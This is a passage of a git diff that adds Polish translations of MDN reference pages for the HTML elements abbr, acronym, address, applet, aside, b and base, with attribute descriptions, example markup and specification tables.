+<pre class="brush: html"><p><dfn id="html"><abbr title="HyperText Markup Language">HTML</abbr> +</dfn> jest językiem znaczników używanym do tworzenia semantyki i struktury strony internetowej.</p> + +<p><dfn id="spec">Specyfikacja</dfn> +(<abbr title="Specyfikacja">spec</abbr>) jest dokumentem, który przedstawia w szczegółach, jak technologia lub API ma funkcjonować i jak wygląda dostęp do nich.</p></pre> + +<h4 id="Rezultat_4">Rezultat</h4> + +<p><dfn><abbr title="HyperText Markup Language">HTML</abbr> </dfn> jest językiem znaczników używanym do tworzenia semantyki i struktury strony internetowej.</p> + +<p><dfn>Specyfikacja</dfn> (<abbr title="Specyfikacja">spec</abbr>) jest dokumentem, który przedstawia w szczegółach, jak technologia lub API ma funkcjonować i jak wygląda dostęp do nich.</p> + +<p>Zobacz bardziej szczegółowe przykłady w artykule <em><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations">Jak oznaczyć skróty i uczynić je zrozumiałymi</a></em>.</p> + +<h2 id="Kwiestie_dostępności">Kwiestie dostępności</h2> + +<p>Wypisanie akronimu lub skrótu w całości za pierwszym razem, gdy jest on używany na stronie, jest korzystne, aby pomóc ludziom go zrozumieć, zwłaszcza jeśli treść jest żargonem technicznym lub branżowym.</p> + +<h4 id="Przykład">Przykład</h4> + +<pre class="brush: html"><p>JavaScript Object Notation (<abbr>JSON</abbr>) jest lekkim formatem wymiany danych.</p> +</pre> + +<p>Jest to szczególnie pomocne dla osób, które nie znają terminologii lub pojęć omawianych w treści, dla osób, które są nowe w języku oraz dla osób z problemami poznawczymi.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'semantics.html#the-abbr-element', '<abbr>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-abbr-element', '<abbr>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ABBR', '<abbr>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + + + +<p>{{Compat("html.elements.abbr")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Używanie elementu <code><abbr></code></a></li> + <li>Inne elementy zawierające <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Text_level_semantics_conveying_elements">semantykę na poziomie tekstu</a>: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li> + <li>Przestarzały element {{HTMLElement("acronym")}}, którego obowiązki zostały przeniesione na <code><abbr></code></li> +</ul> diff --git a/files/pl/web/html/element/acronym/index.html b/files/pl/web/html/element/acronym/index.html new file mode 100644 index 0000000000..95c271a99f --- /dev/null +++ b/files/pl/web/html/element/acronym/index.html @@ -0,0 +1,81 @@ +--- +title: <acronym> +slug: Web/HTML/Element/acronym +tags: + - Element + - HTML + - 'HTML:Treść płynna' + - Obsolete + - Reference + - Web +translation_of: Web/HTML/Element/acronym +--- +<p>{{obsolete_header}}</p> + +<h2 id="Summary" name="Summary">Podsumowanie</h2> + +<p>Element HTML Akronim (<code><acronym></code>) pozwala autorom wyraźnie wskazać ciąg znaków, które składają się na akronim lub skrót słowa. Element ten został usunięty w HTML5. Użyj elementu {{HTMLElement("abbr")}}.</p> + +<div class="note"> +<p><strong>Uwaga dotycząca użycia: </strong>Ten element został usunięty w HTML5 i nie powinien być już używany. Zamiast tego, programiści powinni używać elementu {{HTMLElement("abbr")}}.</p> +</div> + +<h2 id="Attributes" name="Attributes">Atrybuty</h2> + +<p>Ten element ma tylko <a class="new " href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes" rel="internal" title="HTML/global attributes">globalne atrybuty</a>, które są wspólne dla wszystkich elementów.</p> + +<h2 id="DOM_Interface" name="DOM_Interface">Interfejs DOM</h2> + +<p>Ten element implementuje interfejs {{domxref('HTMLElement')}}.</p> + +<div class="note"><strong>Uwaga dotycząca implementacji: </strong>Do Gecko 1.9.2 włącznie, Firefox implementuje interfejs {{domxref('HTMLSpanElement')}} dla tego elementu.</div> + +<h2 id="Example" name="Example">Przykład</h2> + +<pre class="brush:html"><p><acronym title="World Wide Web">WWW</acronym> jest tylko częścią składową Internetu.</p> +</pre> + +<h2 id="Default_styling" name="Default_styling">Domyślna stylizacja</h2> + +<p>Chociaż celem tego znacznika jest jedynie wygoda dla autora, jego domyślna stylizacja różni się w zależności od przeglądarki:</p> + +<ul> + <li>Niektóre przeglądarki, takie jak Internet Explorer, nie stylizowały go inaczej niż elementu {{HTMLElement("span")}}.</li> + <li>Opera, Firefox, Chrome i inne dodają kropkowane podkreślenie zawartości elementu.</li> + <li>Kilka przeglądarek nie tylko dodaje kropkowane podkreślenie, ale także dodaje do nich wariant "small-caps"; aby uniknąć tej stylizacji, dodanie czegoś w rodzaju {{cssxref('font-variant')}}<code>: none</code> w CSS załatwia tę sprawę.</li> +</ul> + +<p>Dlatego zaleca się, aby autorzy stron internetowych nie polegali całkowicie na domyślnej stylizacji.</p> + +<h2 id="Specifications" name="Specifications">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ACRONYM', '<acronym>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Kompatybilność z przeglądarką</h2> + + + +<p>{{Compat("html.elements.acronym")}}</p> + +<h2 id="See_also" name="See_also">Zobacz także</h2> + +<ul> + <li>Element {{HTMLElement("abbr")}}</li> +</ul> + +<p>{{HTMLRef}}</p> diff --git a/files/pl/web/html/element/address/index.html b/files/pl/web/html/element/address/index.html new file mode 100644 index 0000000000..3b3f050fbd --- /dev/null +++ b/files/pl/web/html/element/address/index.html @@ -0,0 +1,140 @@ +--- +title: '<address>: Element Adresu Kontaktowego' +slug: Web/HTML/Element/address +tags: + - Adres + - Adres Email + - Autor + - Element + - Email + - HTML + - Informacje Kontaktowe + - Kontakt + - Reference + - Sekcje HTML + - Web +translation_of: Web/HTML/Element/address +--- +<div>{{HTMLRef}}</div> + +<p id="Summary"><span class="seoSummary"><strong>Element HTML <code><address></code></strong> wskazuje, że dołączony HTML dostarcza informacji kontaktowych dla osoby lub osób, lub dla organizacji.</span></p> + +<p>Informacje kontaktowe dostarczane przez element <code><address></code> mogą przybierać dowolną formę odpowiednią dla danego kontekstu i mogą obejmować wszelkie potrzebne informacje kontaktowe, takie jak adres fizyczny, adres URL, adres email, numer telefonu, obsługa mediów społecznościowych, współrzędne geograficzne i tak dalej. Element <code><address></code> powinien zawierać imię i nazwisko osoby, osób lub nazwę organizacji, do której odnoszą się dane kontaktowe.</p> + +<p><code><address></code> może być używany w różnych kontekstach, takich jak podanie informacji kontaktowych firmy w nagłówku strony lub wskazanie autora artykułu poprzez włączenie elementu <code><address></code> do {{HTMLElement("article")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th> + <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Treść płynna</a>, zawartość zdzieralna.</td> + </tr> + <tr> + <th>Dozwolona zawartość</th> + <td> + <p><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Zawartość przepływu</a>, ale bez zagnieżdżonego elementu <code><address></code>, bez zawartości nagłówka ({{HTMLElement("hgroup")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}), bez zawartości sekcjonowania ({{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}) i bez elementu {{HTMLElement("header")}} ani {{HTMLElement("footer")}}.</p> + </td> + </tr> + <tr> + <th>Pominięcie znacznika</th> + <td>Brak, zarówno znacznik początkowy jak i końcowy są obowiązkowe.</td> + </tr> + <tr> + <th>Dozwoleni rodzice</th> + <td>Każdy element, który akceptuje zawartość przepływu, ale zawsze z wyłączeniem elementów <code><address></code> (zgodnie z logiczną zasadą symetrii, jeśli znacznik <code><address></code>, jako rodzic, nie może zagnieżdżać elementu <code><address></code>, to ta sama zawartość <code><address></code> nie może mieć znacznika <code><address></code> jako rodzica.</td> + </tr> + <tr> + <th>Dozwolone role ARIA</th> + <td>Brak</td> + </tr> + <tr> + <th>Interfejs DOM</th> + <td>{{domxref("HTMLElement")}} Przed Gecko 2.0 (Firefox 4), Gecko zaimplementowało ten element wykorzystując interfejs {{domxref("HTMLSpanElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Ten element uwzględnia tylko <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">atrybuty globalne</a>.</p> + +<h2 id="Uwagi_dotyczące_użycia">Uwagi dotyczące użycia</h2> + +<ul> + <li>Aby reprezentować dowolny adres, taki, który nie jest związany z danymi kontaktowymi, użyj elementu {{HTMLElement("p")}} zamiast elementu <code><address></code>.</li> + <li>Element ten nie powinien zawierać więcej informacji niż dane kontaktowe, np. data publikacji (która należy do elementu {{HTMLElement("time")}}).</li> + <li>Zazwyczaj element <code><address></code> może być umieszczony wewnątrz elementu {{HTMLElement("footer")}} bieżącej sekcji, jeśli taki istnieje.</li> +</ul> + +<h2 id="Przykład">Przykład</h2> + +<p>Ten przykład pokazuje wykorzystanie elementu <code><address></code> do wyznaczenia danych kontaktowych autora artykułu.</p> + +<pre class="brush: html"> <address> + Możesz skontaktować się z autorem na <a href="http://www.somedomain.com/contact"> + www.somedomain.com</a>.<br> + Jeśli widzisz jakieś błędy, proszę <a href="mailto:webmaster@somedomain.com"> + skontaktuj się z administratorem</a>.<br> + Możesz również chcieć nas odwiedzić:<br> + Mozilla Foundation<br> + 331 E Evelyn Ave<br> + Mountain View, CA 94041<br> + USA + </address> +</pre> + +<h3 id="Rezultat">Rezultat</h3> + +<address>Możesz skontaktować się z autorem na <a href="http://www.somedomain.com/contact"> www.somedomain.com</a>.<br> +Jeśli widzisz jakieś błędy, proszę <a href="mailto:webmaster@somedomain.com"> skontaktuj się z administratorem</a>.<br> +Możesz również chcieć nas odwiedzić:<br> +Mozilla Foundation<br> +331 E Evelyn Ave<br> +Mountain View, CA 94041<br> +USA</address> + +<p> </p> + +<p>Mimo, że renderuje tekst z taką samą domyślną stylistyką jak elementy {{HTMLElement("i")}} oraz {{HTMLElement("em")}}, bardziej odpowiednie jest użycie <code><address></code> w odniesieniu do informacji kontaktowych, ponieważ przekazuje on dodatkowe informacje semantyczne.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'semantics.html#the-address-element', '<address>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'sections.html#the-address-element', '<address>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.6', '<address>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + + + +<p>{{Compat("html.elements.address")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Inne elementy związane z sekcją: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("footer")}}, {{HTMLElement("section")}}, {{HTMLElement("header")}};</li> + <li class="last"><a class="deki-ns current" href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Sekcje_oraz_konspekt_dokumentu_HTML5" title="Sections and Outlines of an HTML5 document">Sekcje i zarys dokumentu HTML5</a>.</li> +</ul> diff --git a/files/pl/web/html/element/applet/index.html b/files/pl/web/html/element/applet/index.html new file mode 100644 index 0000000000..dc0e3f6945 --- /dev/null +++ b/files/pl/web/html/element/applet/index.html @@ -0,0 +1,74 @@ +--- +title: applet +slug: Web/HTML/Element/applet +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/applet +--- +<p> +</p><p><br> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><applet></code> (<code>Applet</code>) wyróżnia włączenie apletu Java. Definicja HTML 4.01 Strict nie zawiera tego elementu, został on wycofany na rzecz <code><object></code>. +</p> +<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3> +<dl><dt>align +</dt><dd>Ten atrybut jest używany to umieszczenia apletu na stronie względem treści, która może opływać go wokół. Specyfikacja HTML 4.01 definiuje wartości <code>bottom</code>, <code>left</code>, <code>middle</code>, <code>right</code> i <code>top</code>, natomiast Microsoft i Netscape mogą wspierać również <code>absbottom</code>, <code>absmiddle</code>, <code>baseline</code>, <code>center</code> i <code>texttop</code>. +</dd></dl> +<dl><dt>alt +</dt><dd>Ten atrybut powoduje wyświetlenie opisowego alternatywnego tekstu w przeglądarkach, które nie wspierają Javy. Projektanci stron powinni również pamiętać, że zawartość zamknięta w elemencie <code><applet></code> również może być wyświetlona jako alternatywny tekst. +</dd></dl> +<dl><dt>archive +</dt><dd>Ten atrybut odsyła do zarchiwizowanej lub skompresowanej wersji apletu i powiązanych z nim plików klas, co może pomóc zredukować czas ładowania. +</dd></dl> +<dl><dt>code +</dt><dd>Ten atrybut określa URL pliku apletu z klasami do załadowania i wykonania. Nazwy plików apletu są identyfikowane przez rozszerzenie pliku <i>.class</i>. URL określony przez <code>code</code> może być relatywny do atrybutu <code>codebase</code>. +</dd></dl> +<dl><dt>codebase +</dt><dd>Ten atrybut daje bezwzględny lub względny URL katalogu, gdzie są przechowywane pliki <i>.class</i> apletu przywoływane przez atrybut <code>code</code> . +</dd></dl> +<dl><dt>datafld +</dt><dd>Ten atrybut, wspierany przez Internet Explorer 4 i wyższy, określa nazwę kolumny z obiektu źródła danych, który dostarcza powiązanych danych. Ten atrybut może być użyty do określenia różnych elementów <code><param></code> przekazywanych do apletu Javy. +</dd></dl> +<dl><dt>datasrc +</dt><dd>Podobnie jak <code>datafld</code> ten atrybut jest używany do wiązania danych w Internet Explorer 4. Określa <code>id</code> obiektu źródła danych, który dostarcza danych, które są powiązane z elementami <code><param></code>, związanymi z apletem. </dd></dl> +<dl><dt>height +</dt><dd>Ten atrybut określa wysokość w pikselach, której potrzebuje aplet. +</dd></dl> +<dl><dt>hspace +</dt><dd>Ten atrybut określa w pikselach dodatkową poziomą przestrzeń do zarezerwowania z dwóch stron apletu. +</dd></dl> +<dl><dt>mayscript +</dt><dd>W implementacji Netscape'a ten atrybut pozwala na dostęp do apletu przez programy w języku skryptowym, osadzone w dokumencie. +</dd></dl> +<dl><dt>name +</dt><dd>Ten atrybut przypisuje nazwę do apletu, zatem może być identyfikowany przez inne zasoby, szczególnie skrypty. +</dd></dl> +<dl><dt>object +</dt><dd>Ten atrybut określa URL serializowanej reprezentacji apletu. +</dd></dl> +<dl><dt>src +</dt><dd>Jako zdefiniowany dla Internet Explorer 4 i wyższego, ten atrybut określa URL dla pliku powiązanego z apletem. Znaczenie i użycie jest niejasne i nie jest częścią standardu HTML. +</dd></dl> +<dl><dt>vspace +</dt><dd>Ten atrybut określa w pikselach dodatkową pionową przestrzeń do zarezerwowania nad i pod apletem. +</dd></dl> +<dl><dt>width +</dt><dd>Ten atrybut określa w pikselach szerokość, której potrzebuje aplet. +</dd></dl> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<pre><applet code="game.class" align="left" archive="game.zip" height="250" width="350"> + +<param name="difficulty" value="easy"> + +<b>Przepraszamy, potrzebujesz Javy, by grać w tę grę</b> + +</applet> +</pre> <h3 id="Notatki" name="Notatki"> Notatki </h3> +<p>Specyfikacja W3C nie zachęca do używania <code><applet></code> i preferuje używanie znacznika <code><object></code>. W definicji HTML 4.01 Strict ten element jest wycofywany. +</p><p><br> +{{ HTML:Element_Navigation() }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/HTML/Element/applet" } ) }} diff --git a/files/pl/web/html/element/aside/index.html b/files/pl/web/html/element/aside/index.html new file mode 100644 index 0000000000..8bcb01e076 --- /dev/null +++ b/files/pl/web/html/element/aside/index.html @@ -0,0 +1,126 @@ +--- +title: <aside> +slug: Web/HTML/Element/aside +translation_of: Web/HTML/Element/aside +--- +<p>Element języka <em>HTML <code><aside></code></em> reprezentuje pewnego rodzaju poboczną sekcję strony, która mogłaby także być uważana za jej odrębny element, niemający związku z jej treścią. Takie sekcje są zwykle reprezentowane jako kolumny z boku artykułów lub wtrącenia. Często zawierają one różne typy informacji, takie jak powiązane reklamy, biografie autorów, aplikacje lub informacje o profilu i powiązane strony jak w przypadku blogów.</p> + +<div class="note"> +<p><em>Notki dotyczące użycia:</em></p> + +<ul> + <li>Nie używaj elementu <code><aside></code> by otagować lub odznaczyć wtrącany do artykułu tekst, gdyż tekst ten jest zwyke integralną częścią artykułu, a nie osobnym elementem. </li> +</ul> +</div> + +<ul class="htmlelt"> + <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, sectioning content, palpable content.</li> + <li><dfn>Permitted content</dfn><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">Flow content</a>.</li> + <li><dfn>Tag omission</dfn> {{no_tag_omission}}</li> + <li><dfn>Permitted parent elements</dfn> Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">flow content</a>. Note that an <code><aside></code> element must not be a descendant of an {{HTMLElement("address")}} element.</li> + <li><dfn>DOM interface</dfn> {{domxref("HTMLElement")}}</li> +</ul> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p><span style="line-height: 21px;">Ten element zawiera tylko atrybuty globalne (</span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a>)<span style="line-height: 21px;">.</span></p> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: html"><article> + <p> + The Disney movie <em>The Little Mermaid</em> was + first released to theatres in 1989. + </p> + <aside> + The movie earned $87 million during its initial release. + </aside> + <p> + More info about the movie... + </p> +</article></pre> + +<p>{{EmbedLiveSample("Examples")}}</p> + +<h2 id="Specifications" name="Specifications">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'sections.html#the-aside-element', '<aside>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'sections.html#the-aside-element', '<aside>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Obsługa_w_przeglądarkach">Obsługa w przeglądarkach</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>5</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>9.0</td> + <td>11.10</td> + <td>4.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>2.2</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>9.0</td> + <td>11.0</td> + <td>5.0 (iOS 4.2)</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Others section-related elements: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li> + <li><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sections and outlines of an HTML5 document</a>.</li> +</ul> + +<div>{{HTMLRef}}</div> diff --git a/files/pl/web/html/element/b/index.html b/files/pl/web/html/element/b/index.html new file mode 100644 index 0000000000..16276b25a5 --- /dev/null +++ b/files/pl/web/html/element/b/index.html @@ -0,0 +1,30 @@ +--- +title: b +slug: Web/HTML/Element/b +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/b +--- +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Element <code><b>...</b></code> wyróżnia poszczególne fragmenty tekstu, jednak nie nadaje im ważności sematycznej (tak jak robi to znacznik <a href="/pl/HTML/Element/strong" title="pl/HTML/Element/strong"><code><strong><strong></strong></code></a>). Ze względu na zaszłość ze starymi wersjami HTMLa, znacznik nadaje <strong>pogrubienie</strong> dla tekstu, który ma wewnątrz.</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval"><p> + To jest pierwsze wyrażenie. + <b>To wyrażenie jest pogrubione.</b> +</p> +</pre> + +<h4 id="Rezultat" name="Rezultat">Rezultat</h4> + +<p>To jest pierwsze wyrażenie. <strong>To wyrażenie jest pogrubione.</strong></p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p><a href="/pl/HTML/Element/strong" title="pl/HTML/Element/strong">Znacznik <code><strong><strong></strong></code></a></p> + +<p>{{ languages( { "en": "en/HTML/Element/b", "nl": "nl/HTML/Element/b", "de": "de/HTML/Element/b" } ) }}</p> diff --git a/files/pl/web/html/element/base/index.html b/files/pl/web/html/element/base/index.html new file mode 100644 index 0000000000..6ddf9b043a --- /dev/null +++ b/files/pl/web/html/element/base/index.html @@ -0,0 +1,129 @@ +--- +title: '<base>: Element Domyślnego URL Dokumentu' +slug: Web/HTML/Element/base +tags: + - Element + - HTML + - HTML metadane dokumentu + - 'HTML:Metadane zawartość' + - Reference +translation_of: Web/HTML/Element/base +--- +<p id="Summary">{{HTMLRef}}</p> + +<p><strong>Element HTML <code><base></code></strong> określa bazowy adres URL, którego należy użyć dla wszystkich względnych adresów URL w dokumencie. W dokumencie może znajdować się tylko jeden element <code><base></code>.</p> + +<p>Używany bazowy adres URL dokumentu jest dostępny z poziomu skryptów z {{domxref('document.baseURI')}}. Jeśli dokument nie zawiera żadnych elementów <code><base></code>, <code>baseURI</code> domyślnie jest ustawiony na {{domxref("location.href")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th> + <td>Zawartość metadanych.</td> + </tr> + <tr> + <th scope="row">Dozwolona zawartość</th> + <td>Brak, jest to {{Glossary("empty element", "pusty element")}}.</td> + </tr> + <tr> + <th scope="row">Pominięcie znacznika</th> + <td>Nie może być tagu zamykającego.</td> + </tr> + <tr> + <th scope="row">Dozwoleni rodzice</th> + <td>Każdy {{HTMLElement("head")}}, który nie zawiera żadnego innego elementu {{HTMLElement("base")}}.</td> + </tr> + <tr> + <th scope="row">Dozwolone role ARIA</th> + <td>Brak</td> + </tr> + <tr> + <th scope="row">Interfejs DOM</th> + <td>{{domxref("HTMLBaseElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Atrybuty tego elementu obejmują <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p> + +<p>Jeśli określono jeden z poniższych atrybutów, element ten <strong>musi</strong> występować przed innymi elementami, których wartości są URLami, takich jak atrybut <code>href</code> elementu {{HTMLElement("link")}}.</p> + +<dl> + <dt>{{htmlattrdef("href")}}</dt> + <dd>Podstawowy adres URL, który ma być używany w całym dokumencie dla względnych adresów URL. Bezwzględne i względne adresy URL są dozwolone.</dd> + <dt>{{htmlattrdef("target")}}</dt> + <dd><strong>Słowo kluczowe</strong> lub <strong>zdefiniowana przez autora nazwa</strong> domyślnego kontekstu przeglądania, aby wyświetlić wynik, gdy linki lub formularze mają na celu nawigację, dla elementów {{HTMLElement("a")}} lub {{HTMLElement("form")}} bez określonego atrybutu <code>target</code>. Wartość atrybutu określa docelowy kontekst przeglądania (np. zakładka, okno lub {{HTMLElement("iframe")}}).</dd> + <dd>Poniższe słowa kluczowe mają szczególne znaczenie: + <ul> + <li><code>_self</code>: Załaduj wynik do tego samego kontekstu przeglądania, co bieżący. (Jest to wartość domyślna).</li> + <li><code>_blank</code>: Załaduj wynik do nowego, nienazwanego kontekstu przeglądania.</li> + <li><code>_parent</code>: Załaduj wynik do nadrzędnego kontekstu przeglądania bieżącego. (Jeśli aktualna strona znajduje się wewnątrz ramki.) Jeśli nie ma rodzica, zachowuje się tak samo jak <code>_self</code>.</li> + <li><code>_top</code>: Załaduj wynik do najwyższego konktekstu przeglądania (tzn. kontekstu przeglądania, który jest przodkiem obecnego i nie ma rodzica). Jeśli nie ma żadnego rodzica, zachowuje się tak samo jak <code>_self</code>.</li> + </ul> + </dd> +</dl> + +<h2 id="Uwagi_dotyczące_zastosowania">Uwagi dotyczące zastosowania</h2> + +<h3 id="Wiele_elementów_<base>">Wiele elementów <code><base></code></h3> + +<p>Jeśli użyto wiele elementów <code><base></code>, tylko pierwszy <code>href</code> i pierwszy <code>target</code> są przestrzegane - wszystkie inne są ignorowane.</p> + +<h3 id="Kotwice_w_obrębie_strony">Kotwice w obrębie strony</h3> + +<p>Linki wskazujące na fragment dokumentu - np. <code><a href="#some-id"></code> - rozwiązywane są za pomocą <code><base></code>, wywołującego żądanie HTTP na bazowy adres URL z załączonym fragmentem.<br> + <br> + Na przykład, podając <code><base href="https://example.com"></code><br> + <br> + ...i ten link: <code><a href="#anchor">Kotwica</a></code><br> + <br> + ...odsyłacz wskaże na <code>https://example.com/#anchor</code>.</p> + +<h3 id="Open_Graph">Open Graph</h3> + +<p>Znaczniki <a href="http://ogp.me/">Open Graph</a> nie uznają <code><base></code> i powinny zawsze mieć pełne bezwzględne adresy URL. Na przykład:</p> + +<pre class="brush: html"><meta property="og:image" content="https://example.com/thumbnail.jpg"></pre> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: html"><base href="https://www.example.com/"> +<base target="_blank"> +<base target="_top" href="https://example.com/"></pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'semantics.html#the-base-element', '<base>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Bez zmian w stosuku do najnowszej wersji.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'document-metadata#the-base-element', '<base>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Określono zachowanie <code>target</code></td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.4', '<base>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td>Dodano atrybut <code>target</code></td> + </tr> + </tbody> +</table> + +<h2 